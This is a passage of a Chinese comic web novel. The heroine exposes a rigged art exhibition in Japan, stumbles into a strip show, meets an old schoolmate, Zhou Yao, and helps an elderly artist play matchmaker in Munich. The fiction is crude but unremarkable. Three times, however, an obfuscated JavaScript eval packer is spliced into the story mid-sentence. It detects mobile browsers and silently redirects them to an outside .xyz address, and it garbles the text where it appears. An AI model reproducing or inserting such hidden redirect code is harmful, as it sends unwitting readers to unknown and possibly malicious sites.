骆一梵很快就找到了雪吟大师的那几幅画,上面根本没有任何装裱过的痕迹。 那一刻,群情激愤,大家冲到了展览厅外,几位力壮的男人撞开大门,人群瞬间如潮水般涌进去了。 展览厅的各个位置早就摆满了各式各样的画,灯光照明,分区调光,防紫外线玻璃都已封装完毕,就连温度和湿度都控制在合理的范围内。 骆一梵几乎有种错觉,仿佛画展早已开放展览,正等待看客对艺术品的评价和欣赏。 “今天还在一审,这些画都已经摆好了?”大家同样目瞪口呆。 “审个屁,早都内定好了。” “你看看,下面的画作介绍和评委评语都用红纸打好了。” “咱带来的画都被丢在了地上,这不是骗钱吗?” “就边边角角几个空位没摆画,估计那才是留给我们这些报名的。” 眼见局势控制不住,馆长带着一队保镖立刻赶来了。 “诸位,稍安勿躁,展厅的画作皆是本馆选中的直通两审之作,质量上乘,名副其实。”馆长站在台上,居高临下。 “放屁,展厅上的所有画,哪里有我带来的这几幅画画得好。” 骆一梵将雪吟大师的画传阅给众人,大家连连称赞。 她之所以如此自信,就是看到了摆在自己跟前的一幅画,虽然不懂艺术,但恶心至极的画她还是看得出来的。 “这位姑娘,你很有信心啊,那请你说说,这里的哪幅画不如你的画?” 这话正中骆一梵下怀,她往前一指: “嗯,就我面前的这幅《荔枝炒西蓝花》,我这辈子就没见过这么恶心的画。” 后面的观众立刻上前仔细观摩,很快又退回去,脸上清一色是看见了什么脏东西的表情。 馆长往下轻轻一瞥,淡定地说道:“姑娘,你还是太年轻了,不懂欣赏艺术啊!” “瞎吹什么牛逼,你就算眼瞎看不着,闻也该闻出来这画有多恶心。”骆一梵故意破口大骂。 “是啊是啊,我一脚踩在画布上都比这好看。”大家纷纷附和。 “那荔枝画得跟我阳了后吐的痰一模一样。” 眼见大家越说越恶心,馆长在台上及时制止大家。 “诸位稍安勿躁,此画讲的正是美与毁灭的故事。” “荔枝本是非常珍贵的水果,却被无知小厨拿来炒西蓝花,暴殄天物,无异于焚琴煮鹤。” “这世间再美的东西,一旦到了不懂它的人手里,便被白白糟蹋了,可悲可叹!”边说着,馆长边叹气。 骆一梵翻了个大白眼,真是佩服极了这老登说谎不打草稿的本事。 “现编啊!老头,小心大家撕烂你的破嘴。”骆一梵再添一把火。 馆长丝毫不在意骆一梵的污言秽语,仿佛沉浸在自己的艺术里: “打从看到这幅画的第一眼,我就知道,这幅画表达的正是当代人怀才不遇的现状。” “艺术圈里,多少有才华却没有名气的画家吃不上饭,找不到工作。他们不努力吗?他们没有天赋吗?” “千里马常有,而伯乐不常有啊!我见过太多才华横溢的艺术家,本是晶莹剔透的荔枝,却被当成白肉般搅炒了去,呜呼哀哉!” “诸位,素人画展的本质就是给所有有才华但被埋没的画家展露头角的机会。你们说,如此振聋发聩的作品,《荔枝炒西蓝花》难道不值得一个展览的机会吗?” 台下的人听着馆长激情澎湃的演讲,嘴角微弯,强忍着笑意。 骆一梵一脸不屑:“呦!老头,都上升到高度了,骗别人可以,别把自己也骗了。” “这位姑娘,你为什么不能对不同画家的作品保持尊重和欣赏呢?为何要如此咄咄逼人。” 骆一梵实在是忍不住了,捂着肚子大笑了起来,最后还不忘鼓掌嘲讽。 馆长一头雾水。 “老头,其实这幅画不叫《荔枝炒西蓝花》,而是叫《翡翠白玉屏风》,赶紧下来看看吧。” 馆长一听,脸上顿时没有了血色,三步作五步下了台阶,急匆匆站到画前。发现题名还真是《翡翠白玉屏风》。 这,这,这,这怎么可能??? 越是仔细看,越是不敢相信。 这画的怎么可能是翡翠白玉屏风? 说是荔枝炒西蓝花都算抬举它了,白玉画得跟肥蛆似的,翡翠画得跟避孕套似的!!! 画是越看越恶心,馆长终究是吐了出来。 众人赶紧往外散开一点,纷纷捂住鼻子。 馆长看着自己的呕吐物,都觉得比那幅画眉清目秀。 不应该啊,虽然这些画他没怎么掌过眼,都是交给下面的人定的,可是,能参展的画家人选可都是他一个一个定的,那些人,虽然水了点,但是该有的笔墨还是过得去的。 再看看,会不会真的就是一幅旷世巨作,会不会刚刚只是看到了表象。 不会有这么荒唐的画送过来,一定是哪些细节还没看出来,不行,得再看看。 馆长掏出放大镜又仔仔细细瞅了一遍,大脑飞快运转,上穷碧落,下至黄泉,都没品出来这幅画好在哪! 画家是高墨,圈里没这号人啊,可这名字像是在哪听过似的。 骆一梵眼见馆长半天说不出个所以然,就要把这幅画拍下来发到网上让大家也尝尝咸淡。 突然,一个保镖冲上前打掉了骆一梵的手机。 卧槽,骆一梵大骂,赶紧蹲下去检查手机有没有摔坏。 千钧一发之际,馆长终于想起来这个高墨是何许人也了。 “住手。”馆长大喊一声,又当着骆一梵的面狠狠扇了那位保镖几巴掌。 “怎么能这么对待艺术家,快给这位姑娘道歉。” 保镖向着骆一梵深深地鞠躬。 骆一梵知道这也是个打工人,都不容易,就原谅了那位保镖,但转头就找馆长理论。 “说得好听,办素人画展,都内定好了办什么素人画展。” 馆长无奈:“其实除了这一幅,其他的都不错的,这批画家,都有各大美院教授的推荐信,再不济,也是师出名门,有大师背书。” “可你办的是素人画展啊!”骆一梵继续质问。 “是啊是啊!我们这些家长一路机酒把孩子的画带到日本,那我们这又算什么呢?” “诸位,此次画展将会重新审核,这一次,我一定会保证公平公正。两审相关的金额也会悉数退还。” 大家已不再对素人画展报有任何信任了,吵来吵去,半是商议半是威胁,最后一致决定画的入选资格由网友线上投票决定。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15752268|171583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 艺术家必须是观众选出来的,不能是生出来的。”一位素人家长呐喊着。 “素人画展,就不能有学阀插手,不能按背景来选,必须要公平公正。” 骆一梵也将雪吟大师的画拍照上传到网上,还写了一篇小作文表达雪吟大师这么多年未曾变过的赤子之心。 结果回头一看,其他报名者的小作文写得更是感人肺腑,可歌可泣,大家一个比一个会吹。 “啊啊啊啊,你们艺术生欺负我一个理科生。” 其中,写得最好的当属吹高墨的那篇《观翡翠白玉屏风》。 这虚伪的文笔,这说谎不打草稿的吹牛逼,这高高在上的说教风,实在是太熟悉了。 就差把“这篇文是馆长自己写的”打在公屏上了。 骆一梵很是好奇,她找到馆长,询问高墨是救过他的命吗? 这么恶心的画你是怎么下得去嘴夸出来的? “高墨是高阳的孙子。”馆长丢下这句话便气鼓鼓地离开了。 这下轮到骆一梵震惊了,那是高老爷子的孙子画的??? 他们家是基因突变了?爷爷是大师,孙子是坨屎。 骆一梵不敢相信,在网上百度了下高阳的家人,发现没有叫高墨的啊!她忍不住微信直接联系高阳。 “在吗?大师?” “???” “高墨真是您孙子啊?真的假的?” “哦,是有这么个王八蛋。” 骆一梵将高墨的画拍下来发给高阳。 “什么东西?这大蒜没拍就拌黄瓜了?” “大师,其实这是您孙子所作的《翡翠白玉屏风》,在日本的素人画展上。” 刚打完字,骆一梵突然意识到,自己好像在打小报告。 高阳大师没再回消息。 难道是私生子?八卦之心熊熊燃烧,骆一梵转而又私聊高阳的助理。 助理没说其他的,只是给她讲了一个小故事。 两三年前,有一条小流浪狗倒在了路边,老爷子可怜这条小狗,就把小狗抱进了家门。 小狗很听话,每天摇着尾巴讨好大家,很会看主人家的眼色。 小狗特别忠心,每天陪着老爷子,把老爷子逗得很开心。老爷子一度觉得,小狗才是他的亲人,遗产也给他留了一份。 但是高家的小少爷们都讨厌这条小狗,经常趁人不备,狠狠地欺负小狗。 小狗很有灵性,怎么被欺负,怎么被打,都一声不吭,更不会咬人。 有一位小少爷,家里人从小就把他宠坏了,什么都敢要,什么都敢做。 半是讨厌小狗,半是觉得好玩,小少爷就把小狗捅死了。十几刀下去,小狗还是一声不吭,慢慢地倒地流血而死了。 老爷子午觉醒来,发现小狗不见了,家里的佣人们都在忙着清洗地板,整个别墅一股消毒水的味道。 老爷子的儿子和儿媳妇都赶来了,大家一致瞒着老爷子。 但这事瞒不住啊,老爷子还是知道了,他想报警,但被拦住了。 “不过就是高家的一条狗,死了就死了呗。” “爸,你要是报警,我就带着你孙子孙女们一块跳楼,大家要死一起死。” “爸,小墨还不到十岁,我求求你,再给他一次机会吧,他还小。” 老爷子很生气,但是想了几天,最终放弃报警,只是把那位小少爷逐出了家门。 骆一梵听后气得不行:“那小子也太坏了,我要是那条小狗,我一定咬死他,咬断他的胳膊,扯掉他的耳朵,嚼碎他的眼珠子。” 助理叹了口气:“骆小姐,这世上有一种狗,太乖太听话了,你不会懂那种感觉的。” 23.rockza 解决完素人画展的事,骆一梵心里松了一大口气,决定要好好玩一番,奖励自己一下。 在小红书上搜了一番攻略,很多人都推荐她去当地的rockza看看表演。 哇哦,都是美女姐姐唉!好漂亮啊!!! 骆一梵脑中立马浮现出平成时代那些如天神下凡美得不可方物的舞姬姐姐们。 披肩长发,箭翎和服,巧笑倩兮,美目盼兮!老婆们,俺来啦!!! 骆一梵很顺利地赶到演出场地买好了票,满怀期待地发了个朋友圈(已屏蔽陈如茜女士。)。 “半小时后,就要看rockza了,结束这次完美的日本之行。” 难得发一次朋友圈,也没人点赞,好尴尬的人缘啊,早知道就不给妈妈屏蔽了。 演出马上就要开始了,人渐渐多了起来。骆一梵发现,来看演出的大多都是穿着西装打着领带背着电脑包的上班族,还有几个刚放学的高中生。 真好啊!下了班就能看个演出放松放松,真是一点也不卷。这要是在S城,怕是还得四五个小时才能下班。 奇怪,怎么就只有自己一个女生!难道全日本的樱花妹都跑去看权志龙演唱会了,呜呜呜,难怪自己买不到东京巨蛋的门票。 演出开始后,骆一梵感觉有点不对劲。 ??? 这就是艺术吗??? 这不是广播体操吗??? 等等,等等,这不是广播体操,这好像是那个哎!!! 完了,彻底bbq了! 当舞台上最后一丝衣物褪去时,骆一梵心里天雷勾地火万千草泥马在奔腾。 紧接着,表演者们轮番劈叉一字马高抬腿,所有该看的不该看的骆一梵都看得清清楚楚,她羞愧地低下头,周围响起了一阵又一阵热烈的打call声和鼓掌声。 “或许,姐姐们生活也有难处,做这一行也是逼不得已。” 此刻,骆一梵并不觉得这场秀有任何艺术或美学价值,相反,它很低俗。但若说真有什么人该为这场秀感到羞愧的,那也应该是台下这群猥琐老登。 每当舞台上出现高抬腿动作后,台下的男观众都无比兴奋,大叫,鼓掌,吹口哨…… 骆一梵仔细瞧了瞧这些男观众,大部分都西装革履,有头发花白的老登,有年轻懵懂的小登,还有很多慕名而来的中国游客。 此情此景,她觉得自己已经看透了男人的本质,在外面风度翩翩,人模狗样儿,社会精英,私底下,都是猥琐又小心眼的金针菇,都一样下流。 她不为台上的表演者感到羞愧,却为自己曾经喜欢过男人而感到无比的羞耻。 “卧槽,我当年居然还给男的写过情书,哎呦卧槽!!!” “这个世界已经够爱男了,我还是留着力气爱爱自己吧!” 骆一梵一边出门忏悔,一边拿着翻译器打电话举报这场rockza。 “什么?什么叫怎么又是我?” “你听清楚了吗?这都不是一码事,现在这个事性质严重多了。” “有没有搞错,上次叫你出警你装死,现在叫你你又不来?你们京都警署还没柯南管用。” “卧槽,卧槽,卧槽卧槽卧槽,你再说一遍,rockza是合法的?” 电话直接被对方挂断了,骆一梵两眼一黑,我的天哪!在日本这居然是合法的! 这可是一个连当街拥抱接吻大声说话都被视为冒犯的国家,当街XXX居然是合法的。 骆一梵愣在原地,有点不太认识这个地方了。 她神情恍惚,对面的人连叫了她好几下都没反应过来。 “骆一梵,是你吗?”一个男的叫住了骆一梵。 这又是哪来的中登啊?骆一梵翻了个大白眼。 男人似乎有些意外,神色一黯。 卧槽,这登儿还有点帅,这么明目张胆地找我搭讪,不会是来偷我手机的吧! 骆一梵赶紧握紧手机,大声问道:“你谁啊,是不是要问路转移我注意力,然后你同伙趁机偷我东西。我可告诉你,我光是今天就打了两个报警电话,别惹姑奶奶我。” “我在日本度假,看你朋友圈,知道你来这看脱衣舞,就想来找你见一面。”男人一本正经地说,神情倒是光风霁月,一点不好意思都没有。 骆一梵第一反应是看向四周,妈耶,哥们,你能不能低声说,这事难道光彩吗? 还好周围的人听不懂中文,大家正常路过,不过有一位老奶奶误以为两人是一对情侣,笑着对骆一梵说了几句。 骆一梵只听懂了“卡哇伊”,便一句“阿里嘎多”回应了。男人忍不住笑了起来。 总感觉什么东西不对劲,骆一梵这才回过味来,啊西八,我还把这事发朋友圈了。 啊啊啊啊要死了!崩溃,窒息,想死,无语,难受…… 我骆一梵以后还怎么见人啊!!! 她慌忙打开手机,把朋友圈删了,咦,怎么还有一个赞啊,谁tm手贱点的啊! 哦,好像是当年我当年写情书表白的那小子?叫啥名来着? 还真别说,眼前的这个男人长得真像那小子,记忆逐渐重合,他好像就是他! “老乡,你不是在德国留学吗?你咋出来啦,什么时候出来的啊!” “你说得好像我刚刑满释放似的。” “其实,我早就毕业了,最近在休年假,就选择在亚洲旅行。” “毕业了,卧槽牛啊!”骆一梵忍不住感叹。 男人还想说点什么,却发现多年未见,如今已找不到什么共同话题可聊。 “德国的工作怎么样,卷不卷啊?加班到几点啊?”骆一梵是真好奇外面的月亮圆不圆。 “很无聊的,怎么说,有地上一年,天上一日的感觉,无论外面怎么斗转星移,研究所里每天还是朝九晚五地重复做实验修正数据。即使下班了也感觉外面的世界与己无关,一个人逛逛公园,逛逛超市,看看夕阳,经常有种脱离尘世的错觉。” “有时候,下班了什么也不想做,买张票,去看一场两三个小时的音乐剧,打发打发时间。” 骆一梵听着难受得牙痒痒,卧槽,兄弟你这是在凡尔赛什么? 你要是觉得无聊,你回国啊,回国996,007,保证你连洗澡的时间都没有。每天上班都是一身臭汗挤着更臭更油的地铁,两三秒内就能吸一口打工人久坐便秘积压几日的陈屁…… “你的表情怎么这样啊?你身体不舒服吗?” 骆一梵猛吸一口气,摇摇头,嫉妒得想把日本给炸了!!! “你是痛经吗?要不找个地方坐会。” 不是,大哥你不会说话能不能不要说话。你不知道你的每一句话杀伤力都很大吗? “骆一梵, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15769771|171583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你有看过《山河故人》吗?”男人鼓起勇气问道。 好端端的,怎么突然问起这个,学霸的脑回路是真难理解。 “贾樟柯的电影啊,我在百度网盘里看过。” 听到百度网盘四个字,男人笑了起来,原先藏得好好的愁绪也一扫而空。 “在德国的时候,我每次看这部电影,都想哭。山河依旧,故人不在。” “很正常,那电影确实拍得不错。” “其实我以前是一个很自卑的人。”男人淡淡说道。 “真的吗?我不信。”骆一梵故意模仿起鲁豫的表情。 “我是一个见不得光的私生子。”男人苦笑了一声。 这么多年,拼命学习,苦行僧般的生活,背井离乡,出国留学,不就是为了摆脱这个命运的烙印,如今在异国他乡,反而能轻而易举地面对了。 “啊,就这啊!我还以为是什么惊天地泣鬼神的大事呢!”骆一梵毫不掩饰失望之情。 “那你以为会是什么事?”男人很好奇。 “我还以为你要说你高考是作弊的,或者你是个gay,再不济,也该是个发朋友圈告诉亲朋自己去看脱衣舞会这样的人生大事。” 男人快要笑倒在地上。 “私生子,多大点事,不就是起跑线没画好,反正你自己已经在终点线战胜所有人了。” 这些话是骆一梵的真心话,男人都一样,都是老登,也没啥值得子女分个三六九等的。 私生子挺好的,少了个老登做爹,登味立马减半,你看看你个小登,眉清目秀像模像样的,比其他男的看着舒服多了。 男人并不知道骆一梵九曲十八弯的心路历程,只知道,她其实并不在意世俗的身世。 她的原生家庭一定很幸福,而他自己,已经花费了很多年时光,才使得此刻的心情平静如水。 “你是拉拉吗?”他突然开口问道,他实在想不明白,一个女生怎么会喜欢看脱衣舞秀。 “什么?”骆一梵目瞪口呆。 你哪只眼看到我是拉拉了?我怎么会是拉拉? 不过话说回来,当拉拉好像也挺不错的,万一呢?万一有一个温柔,漂亮,情绪稳定,有书卷气的香香软软的小姐姐做我老婆,妈耶,这日子都不敢想会有多美! (想想吧,这个世界要是没有男人,那我会很快乐,可如果没有女人,那我会死的!!!) 就这样,两人聊了一路,无拘无束,旁若无人,什么话题都敢聊,什么瓜都敢爆,不觉时间飞逝。 还未到临别之际,男人心里已经开始担忧,这次分开,下次就不知道何年何月再见到了。 他故作惆怅,将话题又引回到自己的原生家庭上,似有若无地表达自己对那位父亲的挂念。 骆一梵装听不到。 紧接着,他又提了几句,还在老家孤苦无依的祖母。 骆一梵瞪大眼睛,二话不说,就答应回去一有时间就帮他看望看望奶奶。 男人露出一丝不易察觉的微笑。 “对了,老乡,你叫啥名来着?你好多事我都记得,但是就是这个名儿,我有点记不清了。”分开之前,骆一梵问道。 唉,故人不识我! 他心中怅然,面上却丝毫不显,依旧阳光自信道:“我叫周耀,耀眼的耀。” 哦对对对,是这个名。骆一梵点头如捣蒜。 24.作媒 骆一梵自打离职后,工作是没找到什么好的,旅游倒是天南海北玩得尽兴。 一边焦虑一边玩,白天胡吃海喝晚上失眠辗转反侧,这年头,找工作比找对象还难! 一个人躲在出租屋的时候,头也没洗,饭也不吃,有时还真想躲在一个温柔的怀抱里大哭一场。 可举目望去,哪有什么爱人的怀抱可依偎,于是她就地取材,自己摸着自己的胸,哇哦,手感还不错! 骆一梵双手交叉,一手握住自己的一侧胸,我天,感觉还挺解压,什么对象,什么工作,什么压力,顿时都成了过眼烟云。 想来美人在怀,萧郎在侧,都比不上自己的肉肉。人啊,还是要靠自己。 骆一梵甚至觉得自己可以一辈子不结婚,不谈恋爱。人这一生太短暂了,爱自己都还爱不够呢,哪有时间纠结我爱你你爱她她爱我。 本该在出租屋里老老实实抠脚(修无情道),一个电话打开,骆一梵立马再就业。 只是,这次的职业可算是难倒了她,高老爷子居然让她给自家孙女介绍对象! “小骆啊,你认识的那些同龄人有没有什么心思纯净,善良,顾家,外形条件不错,工作待遇好,人也机灵的那种小伙子啊?” “好像有一个,老爷子,你是要来一场忘年恋吗?我怕人家不同意啊!”不知怎么的,骆一梵突然就想起杨振宁和翁帆女士的爱情故事。 “你这样说倒是启发我了,不过我的事暂时还不急。还是先给我孙女高寒安排好。” “您的孙女还愁找不到对象?怕是媒婆都能把你家的门槛踏烂了。” 骆一梵虽没有见过高寒,但用脚趾头想也知道,高家的孙女,追她的人都能排到法国。 “那些上赶着贴上来的人,求的哪里是高家女,分明是高家的地位和家产,我一个都信不过,思来想去,也只有你心思单纯,人以群分,没准你认识的人也像你这般纯真。” (这,这是在夸我?听着咋那么像在说我傻?我的朋友也是傻人?) (不是,我怎么了,怎么把我从候补名单里直接跳过了,女孩子不可以和女孩子在一起吗?) 骆一梵思考了一会,大胆开麦:“老爷子,其实高寒小姐那么有钱,家境也好,这辈子不结婚反而会过得不错。” “小骆啊,你太单纯了。大家族的明争暗斗不比一般人家少,我这病,时好时歹,就怕哪天一蹬腿就护不住她了。” “退一万步来说,结婚后夫妻俩要是处得不好,大可以各玩各的,这些年我大儿子在外面和三房过得也是有滋有味,大儿媳把他的生意都要过来了,她现在反而比那几年刚结婚的时候还开心。” 骆一梵一时不知道该怎么回答。 很快,骆一梵微信上就收到了高寒小姐的照片。照片中她坐在一棵桂花树下,脚上穿着香奈儿白蝴蝶结平底拖鞋,上身是一件普拉达的黑白长裙。周身只有黑白两色,脸上也是说不出的哀愁。 唯一与这身穿搭格格不入的是她怀里抱着的那只脏得不成样子的黑猫。 少女微低着头,有几小片桂花瓣落在她如墨般的长发上,想来她应该是在树下坐很久了。 骆一梵差不多推理出来了,这是捡到了去世的流浪猫,要把它埋在桂花树下? 如此说来,她应该是个善良又有同情心的小妹妹,爱猫猫的女孩子都是天使。骆一梵更不想当这个媒婆了,这年头谁不知道,婚姻就是咽别人咽不下去的屎。 “老爷子,我就认识一个好男人,可那小子在德国定居了,且没有打算回来。您的事,看来我是帮不上什么忙了。”骆一梵敷衍道。 “在德国,好啊,好好好,山高水长,远离纷纷扰扰,这个好,带我去见见。” 什么,骆一梵一头雾水,八字都没一撇呢,这就要到德国了。现在老年人都是这么着急催婚的吗? 直到飞机起飞的时候,骆一梵还感觉像在做梦,大脑里不断闪回画面,离职,旅游,求职,失业,失眠,如今竟不知不觉踏上了去欧洲的飞机。 文雅点说是人生如梦,直白点就是这活着怎么跟闹着玩似的! 十几个小时的飞机行程,高老爷子呼呼大睡,她时不时思考人生。 上次问周耀他是不是gay,他好像还没回答我啊!万一他是呢?怎么办,这千里迢迢的…… 没事没事,他要是是的话,那正好撮合撮合他和高老爷子,至于他俩愿不愿意,那可就与我无关了。 不过有一说一,老一辈选的相亲对象几乎都是他们自己个儿喜欢的类型,这高寒小姐能看得上吗? 卧槽,还没告诉周耀我们这次来的真正目的,他不会以为我把长辈丢(托孤)给他,然后我一个人在德国自由自在瞎玩吧(虽然我确实很想这么做)! 可是,该怎么告诉他呢,话有点说不出口啊!嗨,周耀,我在国内遇到了一个天仙般的女子,你要是在就好了(听着怎么有点变态呢)! 整个机舱鼾声一片,只有骆一梵愁得睡不着,窸窸窣窣地嚼着薯片。 高阳先生的助理正在睡梦中,隐隐约约听到声响,还以为飞机里进老鼠了,吓得猛睁眼一看,原来是骆一梵在吃乐事。 “消停点吧,姑奶奶!”说完便接着睡去了。 …… 下了飞机后,高老爷子一眼就认出了人群中的周耀,直夸他高大,阳光,俊朗,卓尔不凡。(助理无力吐槽,都是白人,就一个黑头发的亚洲人,换谁谁认不出来。) “小伙子,等很久了吧!” “没有,我刚到。高老,很高兴能为您接风洗尘。” 周耀转而又看向骆一梵,诧异道:“怎么了,是长途飞行不舒服吗?” 骆一梵刚睡醒,头发乱得跟草窝一样,边挠头边问:“我还好啊,倒是你,怎么穿着睡衣就出门了?” 助理轻咳了几下,低声说:“那是真丝外套,还是高定,我的姑奶奶,不是所有有垂坠感的衣服都是睡衣。” 周耀想了想,忍不住笑了起来,自己早早起来搭好衣服,收拾好发型,在机场等了四五个小时的飞机,在她眼里,不过如此。 “骆一梵,你知道为什么德国人发明了凉鞋配袜子的时尚吗?就是防止我们把正经衣服当睡衣穿!。”他还是选择幽默地化解。 一路上,高老爷子对着周耀问东问西,就差上门查户口了。周耀都一一对答如流,风度翩翩。看得出来,老爷子对周耀很满意。 这倒是让骆一梵诧异,这小子什么时候这么八面玲珑了,怎么一跟我说话就能气死人? 果然还是男人最了解男人,要论真正的soulmate,还得是同性。 短暂地见过之后,老爷子让助理火速把高寒叫过来。 “高老,三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15790540|171583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小姐是我能说叫就叫得动的人吗?这可是在德国,难度太高了,要不您给我编个理由!” “就说我在德国病危了,让她赶紧来签字。” 助理无奈:“这理由我今年已经用了五六次,狼来了都没这么频繁。” 高老爷子想了下,“有了,你就说在慕尼黑看见有人收集死猫烂狗做肉菜,以她的性子,估计明天一早就到了。” 骆一梵绝望地闭上眼睛,很难想象,坐在自己旁边的居然是举世瞩目的大艺术家。 晚上,高阳已经订好包厢,请骆一梵和周耀吃饭。 席间,高老爷子多次表达对周耀的赞赏之情: “小周啊,你太辛苦了,我们突然来这一趟,你看你又是请假又是接机,还帮我们联系好了酒店,太感谢了,你这位小友,老夫交定了。” 周耀受宠若惊,连说:“高老,您客气了,您远道而来,我没什么能招待您的,唯一能拿得出手的也只有这颗纯粹的赤子之心。” “好好好,最难得的就是真心啊!小周,老夫就倚老卖老,问你几个问题,你不会介意吧!” “自然不会,我一定如实相告,知无不答。”周耀心里有种不好的预感,但还是点头答应。 (完了完了,图穷匕见了。)骆一梵在心里为周耀默哀三秒钟,然后继续吃菜。 果不其然,高老爷子连问了一大堆周耀原生家庭的事情,他读过心理学,知道童年对于人的性格有着极为深远的影响。 周耀如实回答,平静地将旧日伤疤一道道揭开,将那些血淋淋的往事摊开来捋平了摆在桌面上。 云淡风轻,潇洒豁达,没有任何遮掩,任何矫揉造作,任何虚与委蛇。 骆一梵不忍听下去,她看到了周耀眼中一闪而过的泪光,能想象到,这些话,他一定在心里诉过上万句,沉默过数十年,怨过无数夜晚,如今才能坦然开口。 高老爷子大为感动,除了在艺术圈,他还从未在哪个领域见过这样坦诚,勇敢,自强不息的人。 “命不好,人好。命太薄,人太硬,不做艺术家可惜了!”高阳沉吟着。 骆一梵翻了个大白眼:“大师,你好不容易来一趟德国,能不能多吃饭,少说话。” 高老爷子浑然不在意,自顾自地对周耀说道:“以前我有一个孙子和你性格很像,很诚,很勇,不过现在是孙女了,她叫高寒,明天介绍给你认识认识,我想,你们会聊得来。” 周耀放下了刀叉,骆一梵惊掉了下巴。 高老爷子似乎是把想说的都说完了,开始慢条斯理地切牛排和香肠吃,不再说一句话。 (不是,大师,你把话说清楚再吃啊!这个时候你怎么又装死了,快告诉我,什么叫曾经是孙子,现在是孙女了,这玩笑可开不得。)骆一梵在心里哀嚎。 周耀低头不语,他似乎也是有心事挂碍,整个人沉重得像装满了石头,不过他对高老爷子的孙女与孙子一说倒不是很在意,人生如梦,哪有什么东西是永恒不变的! 这一顿饭三个人吃了很久,却什么菜都没有吃完,服务员收拾包厢时有些意外,怎么还剩这么多菜,看来中国人是一点都接受不了我们国家的食物啊! 晚上,骆一梵半躺在床边,边啃着干脆面边盯着高寒小姐的照片看,百思不得其解。 这明明就是漂亮的郁郁的妹妹啊,一点也不像男人。 25.吵架 骆一梵一大早就被高阳助理的连环夺命call叫醒了。 “骆小姐,别睡了,最新消息,我家三小姐九点就到慕尼黑。” “嗯,到就到呗,放菜鸟驿站就行了。”骆一梵睡得迷迷糊糊。 “我骗她这有人虐待流浪猫她立马就杀过来了,现在咱得赶快证明慕尼黑的猫都活得好好的,不然,她可是什么都做得出来!” “能出什么大事?” “几年前,有个骑摩托车的撞死了路边的一只野猫逃逸了,猫的肠子啥的都出来了,三小姐直接把野猫抱回去,放在市政务中心的公共冰箱里,哎呦卧槽,领导们开冰箱拿矿泉水时差点没吓死,公安厅三下五除二就把事的来龙去脉查清楚了,找到了骑摩托车的那小子,三小姐可把他给狠狠K了一顿。” 骆一梵瞬间就醒了。 也是啊,她都能挥刀变性,还有什么事不敢干。 就这样,慕尼黑街头出现了滑稽的一幕,一个老头,一个小伙,一个姑娘,三人手忙脚乱地到处抓流浪猫,每抓到一只就赶紧拍照,猫吃着罐头,人的手臂在后面摆成一个爱心的形状,大叫qiezi。 (前两天柏林毒蛇研究所的蛇跑了,难不成这两天精神病院里的病号也跑了?)当地人不解。 慕尼黑早晨的雾气很重,公园里的黄玫瑰还没睡醒,上面凝着一层层细密的露珠,高阳突然一阵目眩。 “譬如朝露,去日苦多。”他油然而生一种直觉,这可能是他这今生最后一次看黄玫瑰。 他拿起手帕擦了擦眼泪,艺术家的直觉往往比算命的半仙都要准。或许这不是直觉,而是命运,丧钟为夏花而鸣,丧钟早已敲响。 骆一梵发现,整个早晨高老爷子都精神恍惚,面色惨白,她有点好奇,那位三小姐究竟是何等人物,竟能让高老爷子怕成这样。 到底谁是爷爷,谁是孙子? 眼看快到时间了,骆一梵赶紧撤了,她是真怕三小姐一怒之下刀了自己。 巧得很,周耀这个时候约她吃早餐。 “我有一件事想问你。”周耀神情十分严肃,语气也很冰冷。 (卧槽,这小子该不会猜到了我们来是给他介绍对象的吧!他是不是生气了,会不会一怒之下把我们撵走。)骆一梵汗都下来了。 “你问吧,但你不要生气,都是高阳的错。” “我记得你明明是读车辆工程专业,为什么毕业后会选择做遗物守护师这种虚无缥缈钱少事多的工作?”周耀的声音冷冷的。 (啥?搞这么严肃就是问这个?) “自然是因为找不到工作,周耀,你是不知道,车企唯爱男,大家又很卷,往死里加班。还有,千帆姐姐的经历让我开始觉得,死亡真的离我们很近,但大家似乎更愿意‘破地狱’,很少有人愿意守护他们的遗物。” 骆一梵继续感叹:“这世上最可怕的就是死了就是死了,什么都没有了,什么都不存在了,可我觉得,遗物,记忆,思念,它们应该连绵不绝地活着。” “只是后来,老板太压榨了,为了赚钱真是不择手段,这份工作就被老板魔改成一出演给活人看的木偶戏了,所以我就离职了。” 周耀平静地听完,神情没有任何变化。 “你不卷,没有野心也没有心魔。相反,你热爱生活,心软,同情心泛滥,还残留点理想和信仰,你活得太像个人了,你不适合在东亚发展。”周耀依旧步步紧逼。 (我活得哪里像个人了,你是没见过我当牛马的悲催样子。) “可我妈妈在老家啊,我不能离她太远。”骆一梵拒绝道。 